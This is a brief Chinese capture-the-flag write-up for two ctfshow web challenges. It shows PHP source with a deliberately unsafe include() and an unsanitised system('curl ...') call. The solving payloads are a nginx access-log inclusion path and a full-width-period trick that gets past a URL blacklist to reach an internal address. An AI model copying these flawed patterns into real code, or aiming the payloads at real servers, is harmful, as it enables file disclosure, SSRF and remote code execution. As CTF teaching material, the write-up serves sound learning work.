ctfshow web AK杯

签到_观己

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
        die('error');
    }else{
        include($file);
    }

}else{
    highlight_file(__FILE__);
}

?>

最近rce做多了忘了本了,这里有个include我们直接日志包含就可以了

?file=/var/log/nginx/access.log

web1_观字

<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}
curl特性,句号可以代替小点来绕过
?url=http://192。168。7。68/flag

相关推荐

  1. 贪心+蓝桥

    2024-07-22 01:22:03       59 阅读
  2. 蓝桥简介

    2024-07-22 01:22:03       49 阅读
  3. 蓝桥练习题

    2024-07-22 01:22:03       52 阅读
  4. 蓝桥:大写

    2024-07-22 01:22:03       38 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-22 01:22:03       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-22 01:22:03       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-22 01:22:03       45 阅读
  4. Python语言-面向对象

    2024-07-22 01:22:03       55 阅读

热门阅读

  1. 正态分布是什么

    2024-07-22 01:22:03       19 阅读
  2. deploy gitlab through docker

    2024-07-22 01:22:03       19 阅读
  3. 嵌入式软件技术能力

    2024-07-22 01:22:03       15 阅读
  4. Mad MAD Sum-Codeforces Round 960 (Div. 2)

    2024-07-22 01:22:03       20 阅读
  5. js | Core

    js | Core

    2024-07-22 01:22:03      13 阅读
  6. 堆、栈和队列(数据结构)

    2024-07-22 01:22:03       20 阅读
  7. 关于Spring Boot IOC&DC,看这一篇就够了

    2024-07-22 01:22:03       16 阅读